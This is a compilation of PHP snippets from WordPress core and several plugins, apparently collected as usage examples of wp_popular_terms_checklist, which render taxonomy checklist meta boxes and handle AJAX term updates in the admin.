/** * Display the Sensei modules taxonomy terms metabox * * @since 1.8.0 * * @hooked into add_meta_box * * @param WP_Post $post Post object. */ public function course_module_metabox($post) { $tax_name = 'module'; $taxonomy = get_taxonomy('module'); ?> <div id="taxonomy-<?php echo $tax_name; ?> " class="categorydiv"> <ul id="<?php echo $tax_name; ?> -tabs" class="category-tabs"> <li class="tabs"><a href="#<?php echo $tax_name; ?> -all"><?php echo $taxonomy->labels->all_items; ?> </a></li> <li class="hide-if-no-js"><a href="#<?php echo $tax_name; ?> -pop"><?php _e('Most Used'); ?> </a></li> </ul> <div id="<?php echo $tax_name; ?> -pop" class="tabs-panel" style="display: none;"> <ul id="<?php echo $tax_name; ?> checklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist($tax_name); ?> </ul> </div> <div id="<?php echo $tax_name; ?> -all" class="tabs-panel"> <?php $name = $tax_name == 'category' ? 'post_category' : 'tax_input[' . $tax_name . ']'; echo "<input type='hidden' name='{$name}[]' value='0' />"; // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks. ?> <ul id="<?php echo $tax_name; ?> checklist" data-wp-lists="list:<?php echo $tax_name; ?> " class="categorychecklist form-no-clear"> <?php wp_terms_checklist($post->ID, array('taxonomy' => $tax_name, 'popular_cats' => $popular_ids)); ?> </ul> </div> <?php if (current_user_can($taxonomy->cap->edit_terms)) { ?> <div id="<?php echo $tax_name; ?> -adder" class="wp-hidden-children"> <h4> <a id="sensei-<?php echo $tax_name; ?> -add-toggle" href="#<?php echo $tax_name; ?> -add" class="hide-if-no-js"> <?php /* translators: %s: add new taxonomy label */ printf(__('+ %s'), $taxonomy->labels->add_new_item); ?> </a> </h4> <p id="sensei-<?php echo $tax_name; ?> -add" class="category-add wp-hidden-child"> <label class="screen-reader-text" for="new<?php echo $tax_name; ?> "><?php echo $taxonomy->labels->add_new_item; ?> </label> <input type="text" name="new<?php echo $tax_name; ?> " id="new<?php echo $tax_name; ?> " class="form-required form-input-tip" value="<?php echo esc_attr($taxonomy->labels->new_item_name); ?> " aria-required="true"/> <a class="button" id="sensei-<?php echo $tax_name; ?> -add-submit" class="button category-add-submit"><?php echo esc_attr($taxonomy->labels->add_new_item); ?> </a> <?php wp_nonce_field('_ajax_nonce-add-' . $tax_name, 'add_module_nonce'); ?> <span id="<?php echo $tax_name; ?> -ajax-response"></span> </p> </div> <?php } ?> </div> <?php }
?> </a></li> </ul> <div id="categories-all" class="ui-tabs-panel"> <ul id="categorychecklist" class="list:category categorychecklist form-no-clear"> <?php wp_link_category_checklist($link_id); ?> </ul> </div> <div id="categories-pop" class="ui-tabs-panel" style="display: none;"> <ul id="categorychecklist-pop" class="categorychecklist form-no-clear"> <?php wp_popular_terms_checklist('link_category'); ?> </ul> </div> </div> </div> <?php do_meta_boxes('link', 'normal', $link); ?> <h2><?php _e('Advanced Options'); ?> </h2>
/** * Display taxonomy "checklist" form fields * * Adapted from /wp-admin/includes/ajax-actions.php function _wp_ajax_add_hierarchical_term(). * Includes the "? Search" area to filter the term checklist by entering part * or all of a word/phrase in the term label. * Output to the Media/Edit Media screen and to the Media Manager Modal Window. * * @since 1.71 * * @param object The current post * @param array The meta box parameters * * @return void Echoes HTML for the form fields */ public static function mla_checklist_meta_box($target_post, $box) { global $post; $defaults = array('taxonomy' => 'category', 'in_modal' => false); $post_id = $target_post->ID; if (!isset($box['args']) || !is_array($box['args'])) { $args = array(); } else { $args = $box['args']; } extract(wp_parse_args($args, $defaults), EXTR_SKIP); $tax = get_taxonomy($taxonomy); $name = $taxonomy == 'category' ? 'post_category' : 'tax_input[' . $taxonomy . ']'; /* * Id and Name attributes in the popup Modal Window must not conflict with * the underlying Edit Post/Page window, so we prefix with "mla-"/"mla_". */ if ($in_modal) { if (empty($post)) { $post = $target_post; // for wp_popular_terms_checklist } $div_taxonomy_id = "mla-taxonomy-{$taxonomy}"; $tabs_ul_id = "mla-{$taxonomy}-tabs"; $tab_all_id = "mla-{$taxonomy}-all"; $tab_all_ul_id = "mla-{$taxonomy}-checklist"; $tab_pop_id = "mla-{$taxonomy}-pop"; $tab_pop_ul_id = "mla-{$taxonomy}-checklist-pop"; $input_terms_name = "mla_attachments[{$post_id}][{$name}][]"; $input_terms_id = "mla-{$name}-id"; $div_adder_id = "mla-{$taxonomy}-adder"; $div_adder_class = "mla-hidden-children"; $link_adder_id = "mla-{$taxonomy}-add-toggle"; $link_adder_p_id = "mla-{$taxonomy}-add"; $div_search_id = "mla-{$taxonomy}-searcher"; $div_search_class = "mla-hidden-children"; $link_search_id = "mla-{$taxonomy}-search-toggle"; $link_search_p_id = "mla-{$taxonomy}-search"; $input_new_name = "new{$taxonomy}"; $input_new_id = "mla-new-{$taxonomy}"; $input_new_parent_name = "new{$taxonomy}_parent"; $input_new_submit_id = "mla-{$taxonomy}-add-submit"; $span_new_ajax_id = "mla-{$taxonomy}-ajax-response"; $input_search_name = "search-{$taxonomy}"; $input_search_id = "mla-search-{$taxonomy}"; $span_search_ajax_id = "mla-{$taxonomy}-search-ajax-response"; } else { $div_taxonomy_id = "taxonomy-{$taxonomy}"; $tabs_ul_id = "{$taxonomy}-tabs"; $tab_all_id = "{$taxonomy}-all"; $tab_all_ul_id = "{$taxonomy}checklist"; $tab_pop_id = "{$taxonomy}-pop"; $tab_pop_ul_id = "{$taxonomy}checklist-pop"; $input_terms_name = "{$name}[]"; $input_terms_id = "{$name}-id"; $div_adder_id = "{$taxonomy}-adder"; $div_adder_class = "wp-hidden-children"; $link_adder_id = "{$taxonomy}-add-toggle"; $link_adder_p_id = "{$taxonomy}-add"; $div_search_id = "{$taxonomy}-searcher"; $div_search_class = "wp-hidden-children"; $link_search_id = "{$taxonomy}-search-toggle"; $link_search_p_id = "{$taxonomy}-search"; $input_new_name = "new{$taxonomy}"; $input_new_id = "new{$taxonomy}"; $input_new_parent_name = "new{$taxonomy}_parent"; $input_new_submit_id = "{$taxonomy}-add-submit"; $span_new_ajax_id = "{$taxonomy}-ajax-response"; $input_search_name = "search-{$taxonomy}"; $input_search_id = "search-{$taxonomy}"; $span_search_ajax_id = "{$taxonomy}-search-ajax-response"; } ?> <div id="<?php echo $div_taxonomy_id; ?> " class="categorydiv"> <ul id="<?php echo $tabs_ul_id; ?> " class="category-tabs"> <li class="tabs"><a href="#<?php echo $tab_all_id; ?> "><?php echo $tax->labels->all_items; ?> </a></li> <li class="hide-if-no-js"><a href="#<?php echo $tab_pop_id; ?> "><?php _e('Most Used'); ?> </a></li> </ul> <div id="<?php echo $tab_pop_id; ?> " class="tabs-panel" style="display: none;"> <ul id="<?php echo $tab_pop_ul_id; ?> " class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist($taxonomy); ?> </ul> </div> <div id="<?php echo $tab_all_id; ?> " class="tabs-panel"> <?php // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks. echo "<input type='hidden' name='{$input_terms_name}' id='{$input_terms_id}' value='0' />"; ?> <ul id="<?php echo $tab_all_ul_id; ?> " data-wp-lists="list:<?php echo $taxonomy; ?> " class="categorychecklist form-no-clear"> <?php if ($tax->hierarchical) { ?> <?php wp_terms_checklist($post->ID, array('taxonomy' => $taxonomy, 'popular_cats' => $popular_ids, 'checked_ontop' => MLAOptions::mla_taxonomy_support($taxonomy, 'checked-on-top'))); ?> <?php } else { ?> <?php $checklist_walker = new MLA_Checklist_Walker(); ?> <?php wp_terms_checklist($post->ID, array('taxonomy' => $taxonomy, 'popular_cats' => $popular_ids, 'checked_ontop' => MLAOptions::mla_taxonomy_support($taxonomy, 'checked-on-top'), 'walker' => $checklist_walker)); ?> <?php } ?> </ul> </div> <?php if (current_user_can($tax->cap->edit_terms)) { ?> <div id="<?php echo $div_adder_id; ?> " class="<?php echo $div_adder_class; ?> "> <h4> <a id="<?php echo $link_adder_id; ?> " href="#<?php echo $link_adder_p_id; ?> " class="hide-if-no-js"> <?php /* translators: %s: add new taxonomy label */ printf(__('+ %s', 'media-library-assistant'), $tax->labels->add_new_item); ?> </a> <a id="<?php echo $link_search_id; ?> " href="#<?php echo $link_search_p_id; ?> " class="hide-if-no-js"> <?php echo '? ' . __('Search', 'media-library-assistant'); ?> </a> </h4> <p id="<?php echo $link_adder_p_id; ?> " class="category-add wp-hidden-child"> <label class="screen-reader-text" for="<?php echo $input_new_name; ?> "><?php echo $tax->labels->add_new_item; ?> </label> <input type="text" name="<?php echo $input_new_name; ?> " id="<?php echo $input_new_id; ?> " class="form-required form-input-tip" value="<?php echo esc_attr($tax->labels->new_item_name); ?> " aria-required="true"/> <?php if ($tax->hierarchical) { ?> <label class="screen-reader-text" for="<?php echo $input_new_parent_name; ?> "> <?php echo $tax->labels->parent_item_colon; ?> </label> <?php wp_dropdown_categories(array('taxonomy' => $taxonomy, 'hide_empty' => 0, 'name' => $input_new_parent_name, 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $tax->labels->parent_item . ' —')); ?> <?php } else { echo "<input type='hidden' name='{$input_new_parent_name}' id='{$input_new_parent_name}' value='-1' />"; } ?> <input type="button" id="<?php echo $input_new_submit_id; ?> " data-wp-lists="add:<?php echo $tab_all_ul_id; ?> :<?php echo $link_adder_p_id; ?> " class="button category-add-submit mla-taxonomy-add-submit" value="<?php echo esc_attr($tax->labels->add_new_item); ?> " /> <?php wp_nonce_field('add-' . $taxonomy, '_ajax_nonce-add-' . $taxonomy, false); ?> <span id="<?php echo $span_new_ajax_id; ?> "></span> </p> </div> <div id="<?php echo $div_search_id; ?> " class="<?php echo $div_search_class; ?> "> <p id="<?php echo $link_search_p_id; ?> " class="category-add wp-hidden-child"> <label class="screen-reader-text" for="<?php echo $input_search_name; ?> "><?php echo $tax->labels->search_items; ?> </label> <input type="text" name="<?php echo $input_search_name; ?> " id="<?php echo $input_search_id; ?> " class="form-required form-input-tip" value="<?php echo esc_attr($tax->labels->search_items); ?> " aria-required="true"/> <?php wp_nonce_field('search-' . $taxonomy, '_ajax_nonce-search-' . $taxonomy, false); ?> <span id="<?php echo $span_search_ajax_id; ?> "></span> </p> </div> <?php } ?> </div> <?php }
/** * Ajax handler for Media Manager "update compat-attachment-fields" queries * * Updates one (or more) supported taxonomy and returns updated checkbox or tag/term lists * * @since 2.20 * * @return void passes array of results to wp_send_json_success() for JSON encoding and transmission */ public static function mla_update_compat_fields_action() { global $post; if (empty($_REQUEST['id']) || !($post_id = absint($_REQUEST['id']))) { wp_send_json_error(); } if (empty($post)) { $post = get_post($post_id); // for filters and wp_popular_terms_checklist } do_action('mla_media_modal_begin_update_compat_fields', $post); $taxonomies = array(); $results = array(); foreach (get_taxonomies(array('show_ui' => true), 'objects') as $key => $value) { if (isset($_REQUEST[$key]) && MLACore::mla_taxonomy_support($key)) { $taxonomies[$key] = $value; if (!($use_checklist = $value->hierarchical)) { $use_checklist = MLACore::mla_taxonomy_support($key, 'flat-checklist'); } if ($value->hierarchical) { $terms = array_map('absint', preg_split('/,+/', $_REQUEST[$key])); } else { $terms = array_map('trim', preg_split('/,+/', $_REQUEST[$key])); } $terms = apply_filters('mla_media_modal_update_compat_fields_terms', $terms, $key, $value, $post_id); if (is_array($terms)) { wp_set_object_terms($post_id, $terms, $key, false); delete_transient(MLA_OPTION_PREFIX . 't_term_counts_' . $key); } if ($use_checklist) { ob_start(); $popular_ids = wp_popular_terms_checklist($key); $results[$key]["mla-{$key}-checklist-pop"] = ob_get_clean(); ob_start(); if ($value->hierarchical) { wp_terms_checklist($post_id, array('taxonomy' => $key, 'popular_cats' => $popular_ids)); } else { $checklist_walker = new MLA_Checklist_Walker(); wp_terms_checklist($post_id, array('taxonomy' => $key, 'popular_cats' => $popular_ids, 'walker' => $checklist_walker)); } $results[$key]["mla-{$key}-checklist"] = ob_get_clean(); } else { $terms = get_object_term_cache($post_id, $key); if (false === $terms) { $terms = wp_get_object_terms($post_id, $key); wp_cache_add($post_id, $terms, $key . '_relationships'); } if (is_wp_error($terms) || empty($terms)) { $terms = array(); } $list = array(); $object_terms = array(); foreach ($terms as $term) { $list[] = $term->name; $object_terms[$term->term_id] = $term->name; } // foreach $term sort($list); $hidden_list = join(',', $list); $results[$key]["object-terms"] = $object_terms; $results[$key]["mla-attachments-{$post_id}-{$key}"] = "\t\t<input name='attachments[{$post_id}][{$key}]' class='the-tags' id='mla-attachments-{$post_id}-{$key}' type='hidden' value='{$hidden_list}'>\n"; $results[$key]["mla-tags-{$post_id}-{$key}"] = "\t\t<input name='mla_tags[{$post_id}][{$key}]' class='server-tags' id='mla-tags-{$post_id}-{$key}' type='hidden' value='{$hidden_list}'>\n"; } } // set and supported } // foreach taxonomy wp_send_json_success(apply_filters('mla_media_modal_end_update_compat_fields', $results, $taxonomies, $post)); }
/** * Display post categories form fields. Based on default WP method. * * @param object $post */ private static function newrs_post_categories_meta_box($post, $box) { $defaults = array('taxonomy' => 'category'); if (!isset($box['args']) || !is_array($box['args'])) { $args = array(); } else { $args = $box['args']; } extract(wp_parse_args($args, $defaults), EXTR_SKIP); $tax = get_taxonomy($taxonomy); //$checked_texonomies = isset($args['selected_cats']) ? $args['selected_cats'] : ''; echo '<h4>' . $args['label'] . __(' to include:', 'new_royalslider') . '</h4>'; $terms_list = (array) get_terms($taxonomy, array('child_of' => 0, 'hierarchical' => 0, 'hide_empty' => 0)); if (count($terms_list) > 2000) { echo '<p><em>' . __('This taxonomy has too large number of items to display in admin (>2000). If you wish to add it <a target="_blank" href="http://help.dimsemenov.com/kb/wordpress-royalslider-advanced/wp-modifying-order-of-posts-in-slider">do this programatically</a>.', 'new_royalslider') . '</em></p>'; return; } ob_start(); $popular_ids = wp_popular_terms_checklist($taxonomy); $popular_terms = ob_get_contents(); ob_end_clean(); ?> <div id="taxonomy-<?php echo $taxonomy; ?> " class="categorydiv"> <ul id="<?php echo $taxonomy; ?> -tabs" class="category-tabs"> <li class="tabs"><a href="#<?php echo $taxonomy; ?> -all"><?php echo $tax->labels->all_items; ?> </a></li> <li class="hide-if-no-js"><a href="#<?php echo $taxonomy; ?> -pop"><?php _e('Most Used', 'new_royalslider'); ?> </a></li> </ul> <div id="<?php echo $taxonomy; ?> -pop" class="tabs-panel" style="display: none;"> <ul id="<?php echo $taxonomy; ?> checklist-pop" class="categorychecklist form-no-clear" > <?php echo $popular_terms; ?> </ul> </div> <div id="<?php echo $taxonomy; ?> -all" class="tabs-panel"> <ul id="<?php echo $taxonomy; ?> checklist" data-wp-lists="list:<?php echo $taxonomy; ?> " class="categorychecklist form-no-clear main-opts"> <?php wp_terms_checklist(0, array('taxonomy' => $taxonomy, 'selected_cats' => $checked_texonomies, 'popular_cats' => $popular_ids)); ?> </ul> </div> </div> <?php }
function page_categories_meta_box($post) { ?> <ul id="category-tabs"> <li class="tabs"><a href="#categories-all" tabindex="3"><?php _e('All Categories'); ?> </a></li> <li class="hide-if-no-js"><a href="#categories-pop" tabindex="3"><?php _e('Most Used'); ?> </a></li> </ul> <div id="categories-pop" class="tabs-panel" style="display: none;"> <ul id="categorychecklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist('category'); ?> </ul> </div> <div id="categories-all" class="tabs-panel"> <ul id="categorychecklist" class="list:category categorychecklist form-no-clear"> <?php wp_category_checklist($post->ID, false, false, $popular_ids); ?> </ul> </div> <?php if (current_user_can('manage_categories')) { ?> <div id="category-adder" class="wp-hidden-children"> <h4><a id="category-add-toggle" href="#category-add" class="hide-if-no-js" tabindex="3"><?php _e('+ Add New Category'); ?> </a></h4> <p id="category-add" class="wp-hidden-child"> <label class="screen-reader-text" for="newcat"><?php _e('Add New Category'); ?> </label><input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php esc_attr_e('New category name'); ?> " tabindex="3" aria-required="true"/> <label class="screen-reader-text" for="newcat_parent"><?php _e('Parent category'); ?> :</label><?php wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'newcat_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => __('Parent category'))); ?> <input type="button" id="category-add-sumbit" class="add:categorychecklist:category-add button" value="<?php esc_attr_e('Add'); ?> " tabindex="3" /> <?php wp_nonce_field('add-category', '_ajax_nonce', false); ?> <span id="category-ajax-response"></span></p> </div> <?php } }
/** * Display link categories form fields. * * @since 2.6.0 * * @param object $link */ function link_categories_meta_box($link) { ?> <div id="taxonomy-linkcategory" class="categorydiv"> <ul id="category-tabs" class="category-tabs"> <li class="tabs"><a href="#categories-all"><?php _e('All Categories'); ?> </a></li> <li class="hide-if-no-js"><a href="#categories-pop"><?php _e('Most Used'); ?> </a></li> </ul> <div id="categories-all" class="tabs-panel"> <ul id="categorychecklist" data-wp-lists="list:category" class="categorychecklist form-no-clear"> <?php if (isset($link->link_id)) { wp_link_category_checklist($link->link_id); } else { wp_link_category_checklist(); } ?> </ul> </div> <div id="categories-pop" class="tabs-panel" style="display: none;"> <ul id="categorychecklist-pop" class="categorychecklist form-no-clear"> <?php wp_popular_terms_checklist('link_category'); ?> </ul> </div> <div id="category-adder" class="wp-hidden-children"> <a id="category-add-toggle" href="#category-add" class="taxonomy-add-new"><?php _e('+ Add New Category'); ?> </a> <p id="link-category-add" class="wp-hidden-child"> <label class="screen-reader-text" for="newcat"><?php _e('+ Add New Category'); ?> </label> <input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php esc_attr_e('New category name'); ?> " aria-required="true" /> <input type="button" id="link-category-add-submit" data-wp-lists="add:categorychecklist:link-category-add" class="button" value="<?php esc_attr_e('Add'); ?> " /> <?php wp_nonce_field('add-link-category', '_ajax_nonce', false); ?> <span id="category-ajax-response"></span> </p> </div> </div> <?php }
/** * Prints the box content. * * @param WP_Post $post The object for the current post/page. */ function myplugin_meta_box_callback($post) { // Add a nonce field so we can check for it later. wp_nonce_field('myplugin_save_meta_box_data', 'myplugin_meta_box_nonce'); /* * Use get_post_meta() to retrieve an existing value * from the database and use the value for the form. */ $value = get_post_meta($post->ID, '_my_meta_value_key', true); // how to set up the tab menu https://tommcfarlin.com/custom-meta-box-tabs/ // I am worried this will mess with the currnet categorydiv stuff ?> <div id="acme-navigation"> <h2 class="nav-tab-wrapper current"> <a class="nav-tab nav-tab-active" href="javascript:;">Extended Description</a> <a class="nav-tab" href="javascript:;">Related Files</a> <a class="nav-tab" href="javascript:;">Similar Posts</a> </h2> </div> <div id="taxonomy-linkcategory" class="categorydiv"> <ul id="category-tabs" class="category-tabs"> <li class="tabs"><a href="#categories-all"><?php _e('Notes'); ?> </a></li> <li class="hide-if-no-js"><a href="#categories-pop"><?php _e('Assign Writer'); ?> </a></li> <li class="hide-if-no-js"><a href="#categories-pop"><?php _e('Invite Writer'); ?> </a></li> </ul> <div id="categories-all" class="tabs-panel"> <ul id="categorychecklist" data-wp-lists="list:category" class="categorychecklist form-no-clear"> <?php if (isset($link->link_id)) { wp_link_category_checklist($link->link_id); } else { wp_link_category_checklist(); } ?> </ul> </div> <div id="categories-pop" class="tabs-panel" style="display: none;"> <ul id="categorychecklist-pop" class="categorychecklist form-no-clear"> <?php wp_popular_terms_checklist('link_category'); ?> </ul> </div> <div id="category-adder" class="wp-hidden-children"> <a id="category-add-toggle" href="#category-add" class="taxonomy-add-new"><?php _e('+ Add New Category'); ?> </a> <p id="link-category-add" class="wp-hidden-child"> <label class="screen-reader-text" for="newcat"><?php _e('+ Add New Category'); ?> </label> <input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php esc_attr_e('New category name'); ?> " aria-required="true" /> <input type="button" id="link-category-add-submit" data-wp-lists="add:categorychecklist:link-category-add" class="button" value="<?php esc_attr_e('Add'); ?> " /> <?php wp_nonce_field('add-link-category', '_ajax_nonce', false); ?> <span id="category-ajax-response"></span> </p> </div> </div> <div> <p style="text-align: center;"> <a class="button button-primary button-large" target="_blank" href="http://cheekyapps.com/easy-to-tweet-waiting-list/">Apply Changes</a> </p> <p style="text-align: center;"> <a class="button button-primary button-large" target="_blank" href="http://cheekyapps.com/easy-to-tweet-waiting-list/">Upgrade to Pro</a> </p> </div> <?php // echo '<label for="myplugin_new_field">'; // _e( 'Description for this field', 'myplugin_textdomain' ); // echo '</label> '; // echo '<input type="text" id="myplugin_new_field" name="myplugin_new_field" value="' . esc_attr( $value ) . '" size="25" />'; // }
/** * Ajax handler for adding a hierarchical term. * * @since 3.1.0 */ function _wp_ajax_add_hierarchical_term() { $action = $_POST['action']; $taxonomy = get_taxonomy(substr($action, 4)); check_ajax_referer($action, '_ajax_nonce-add-' . $taxonomy->name); if (!current_user_can($taxonomy->cap->edit_terms)) { wp_die(-1); } $names = explode(',', $_POST['new' . $taxonomy->name]); $parent = isset($_POST['new' . $taxonomy->name . '_parent']) ? (int) $_POST['new' . $taxonomy->name . '_parent'] : 0; if (0 > $parent) { $parent = 0; } if ($taxonomy->name == 'category') { $post_category = isset($_POST['post_category']) ? (array) $_POST['post_category'] : array(); } else { $post_category = isset($_POST['tax_input']) && isset($_POST['tax_input'][$taxonomy->name]) ? (array) $_POST['tax_input'][$taxonomy->name] : array(); } $checked_categories = array_map('absint', (array) $post_category); $popular_ids = wp_popular_terms_checklist($taxonomy->name, 0, 10, false); foreach ($names as $cat_name) { $cat_name = trim($cat_name); $category_nicename = sanitize_title($cat_name); if ('' === $category_nicename) { continue; } if (!($cat_id = term_exists($cat_name, $taxonomy->name, $parent))) { $cat_id = wp_insert_term($cat_name, $taxonomy->name, array('parent' => $parent)); } if (is_wp_error($cat_id)) { continue; } elseif (is_array($cat_id)) { $cat_id = $cat_id['term_id']; } $checked_categories[] = $cat_id; if ($parent) { // Do these all at once in a second continue; } ob_start(); wp_terms_checklist(0, array('taxonomy' => $taxonomy->name, 'descendants_and_self' => $cat_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids)); $data = ob_get_clean(); $add = array('what' => $taxonomy->name, 'id' => $cat_id, 'data' => str_replace(array("\n", "\t"), '', $data), 'position' => -1); } if ($parent) { // Foncy - replace the parent and all its children $parent = get_term($parent, $taxonomy->name); $term_id = $parent->term_id; while ($parent->parent) { // get the top parent $parent = get_term($parent->parent, $taxonomy->name); if (is_wp_error($parent)) { break; } $term_id = $parent->term_id; } ob_start(); wp_terms_checklist(0, array('taxonomy' => $taxonomy->name, 'descendants_and_self' => $term_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids)); $data = ob_get_clean(); $add = array('what' => $taxonomy->name, 'id' => $term_id, 'data' => str_replace(array("\n", "\t"), '', $data), 'position' => -1); } ob_start(); wp_dropdown_categories(array('taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new' . $taxonomy->name . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $taxonomy->labels->parent_item . ' —')); $sup = ob_get_clean(); $add['supplemental'] = array('newcat_parent' => $sup); $x = new WP_Ajax_Response($add); $x->send(); }
/** * Postbox for categories * * @since 0.2 * * @return void */ function media_categories_box($post_id = 0) { $tax = get_taxonomy('media_category'); ?> <div id="taxonomy-media_category" class="categorydiv"> <ul id="media_category-tabs" class="category-tabs"> <li class="tabs"> <a href="#media_category-all"><?php echo $tax->labels->all_items; ?> </a> </li> <li class="hide-if-no-js"> <a href="#media_category-pop"><?php _e('Most Used'); ?> </a> </li> </ul> <div id="media_category-pop" class="tabs-panel" style="display: none;"> <ul id="media_categorychecklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist('media_category'); ?> </ul> </div> <div id="media_category-all" class="tabs-panel"> <ul id="media_categorychecklist" data-wp-lists="list:media_category" class="categorychecklist form-no-clear"> <?php wp_terms_checklist($post_id, array('taxonomy' => 'media_category', 'popular_cats' => $popular_ids)); ?> </ul> </div> </div> <?php }